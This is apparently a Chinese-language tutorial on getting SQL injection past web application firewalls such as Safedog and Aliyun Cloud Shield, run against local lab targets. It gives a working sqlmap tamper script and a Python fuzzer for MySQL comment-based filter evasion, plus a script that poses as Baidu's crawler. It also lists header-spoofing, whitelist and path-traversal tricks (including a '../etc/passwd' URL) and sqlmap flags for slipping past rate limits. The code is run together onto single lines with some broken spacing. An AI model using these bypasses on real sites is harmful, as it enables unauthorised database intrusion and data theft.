SQL注入之WAF指令碼繞過
前言
在攻防實戰中,往往需要掌握一些特性,比如伺服器、資料庫、應用層、WAF層等,以便我們更靈活地去構造Payload,從而可以和各種WAF進行對抗,甚至繞過安全防禦措施進行漏洞利用。
FUZZ繞過指令碼
#!/usr/bin/envpython """ Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/) Seethefile'LICENSE'forcopyingpermission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__=PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL)) def tamper(payload,**kwargs): #%23a%0aunion/*!44575select*/1,2,3 if payload: payload=payload.replace("union","%23a%0aunion") payload=payload.replace("select","/*!44575select*/") payload=payload.replace("%20","%23a%0a") payload=payload.replace("","%23a%0a") payload=payload.replace("database()","database%23a%0a()") return payload import requests,time url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1' union='union' select='select' num='1,2,3' a={'%0a','%23'} aa={'x'} aaa={'%0a','%23'} b='/*!' c='*/' def bypass(): for xiaodi in a: for xiaodis in aa: for xiaodiss in aaa: for two in range(44500,44600): urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao diss+num #urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia odiss+num try: result=requests.get(urls).text len_r=len(result) if (result.find('safedog')==-1): #print('bypass url addreess:'+urls+'|'+str(len_r)) print('bypass url addreess:'+urls+'|'+str(len_r)) if len_r==715: fp = open('url.txt','a+') fp.write(urls+'\n') fp.close() except Exception as err: print('connecting error') time.sleep(0.1) if__name__=='__main__': print('fuzz strat!') bypass()
偽造成百度爬蟲指令碼
import json import requests url='http://192.168.0.103:8080/' head={ 'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)' } for data in open('PH1P.txt'): data=data.replace('\n','') urls=url+data code=requests.get(urls).status_code print(urls+'|'+str(code))
sqlmap temper指令碼使用教程
https://blog.csdn.net/qq_34444097/article/details/82717357
案例演示:
1.簡要其他繞過方式學習
1.白名單:
方式一:IP白名單
通過對網站ip地址的偽造,知道對方網站ip地址,那就預設為ip地址為白名單。
從網路層獲取的ip,這種一般偽造不來,如果是獲取客戶端的ip,這樣就餓可能存在偽造ip繞過的情況。
測試方法:修改http的header來by pass waf
X-forwarded-for
X-remote-IP
X-remote-addr
X-Real-IP
方式二:靜態資源
特定的靜態資源字尾請求,常見的靜態檔案(.js、.jpg、.swf、.css等),類似白名單機制,waf為了檢測效率,不去檢測這樣一些靜態檔名字尾的請求。
http://127.0.0.1/sql.php/1.js?id=1
備註:Aspx/php只識別到前面的.aspx/.php,後面基本不識別。
不過這是老版本waf不過濾,現在一般也會過濾掉
方式三:url白名單(老版本waf)
為了防止誤攔,部分waf內建預設的白名單列表,如admin/manager/system等管理後臺。只要url中存在白名單的字串,就作為白名單不進行檢測。常見的url構造姿勢:
http://127.0.0.1/sql.php/admin/php?id=1
http://127.0.0.1/sql.php?a=/manage/&b=../etc/passwd
http://127.0.0.1/../../../manage/../sql.asp?id=2
waf通過/manage/進行比較,只要url中存在/manage/就作為白名單不進行檢測,這樣我們可以通過/sql.php?1=manage/&b=../etc/passwd繞過防禦規則。
依舊攔截是因為老版本waf才可以,新版本的會攔截
方式四:爬蟲白名單(不是注入繞過而是掃描繞過經常用到)
偽裝成搜尋引擎
部分waf有提供爬蟲白名單的功能,識別爬蟲的技術一般有兩種:
1.根據UserAgent
2.通過行為來判斷
開啟流量防護
都是誤報,這些檔案都不存在
掃描之後再訪問頁面就會被攔截
UserAgent可以很容易欺騙,我們可以偽裝成爬蟲嘗試繞過。
User Agent Switcher (firefox 附加元件),下載地址:
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/
偽造成百度爬蟲
使用偽裝指令碼進行爬取,發現網站是沒有任何攔截的。返回200是存在的,404不存在
2.FUZZ繞過指令碼結合編寫測試
https://www.jianshu.com/p/ba3f8f1815ad? utm_campaign=haruki&utm_content=note&utm_medium=reader_share&utm_source=qq
3.阿里雲盾防SQL注入簡要分析
使用sqlmap
使用sqlmap跑過之後阿里雲盾會對二次請求進行攔截
開啟安全狗,使用sqlmap發現未報出注入點
這時就需要使用到sqlmap的指令碼檔案(自帶大概率無法達到目的),指令碼檔案存在temper資料夾中(一般指令碼使用教程)
接下來要想使用的話還是得自己編寫指令碼
4.安全狗+雲盾SQL注入外掛指令碼編寫
自己編寫指令碼bypassdog.py(也就是rdog.py)
直接使用指令碼是無法跑來的,抓包到本地分析一下
User-Agent顯示的是sqlmap的資訊
此時安全狗上面會有攔截記錄,分析可知是HTTP請求頭User-agent的原因
並且漏洞防護規則也開啟了工具攔截
根據這些我們知道了攔截原因:通過請求頭及指紋庫,知道了是使用工具sqlmap對網站進行了惡意掃描,所以進行了攔截
比如User-Agent改為1就沒有進行攔截
當然在使用sqlmap時可以加上引數--random agent(隨機出現字母頭)
獲取表名
可以使用burp檢視sqlmap的注入語句
表名出現了
如果安全狗開啟流量防護
sqlmap的速度過快,所以會被攔截
解決方法:
- 新增延時引數 --delay引數
-
使用代理池
-
隨機出IP
-
更改請求頭,新增http白名單 瀏覽器請求頭 --user-Agent=" "
發現請求正常無攔截
如果需要更改的資料不是User-Agent
- 使用burp的intrude模組(很麻煩)
- 自己編寫
然後使用TXT文本里的資料包注入
sqlmap去注入本地的指令碼地址 -> 本地搭建指令碼(請求資料包自定義編寫) -> 遠端地址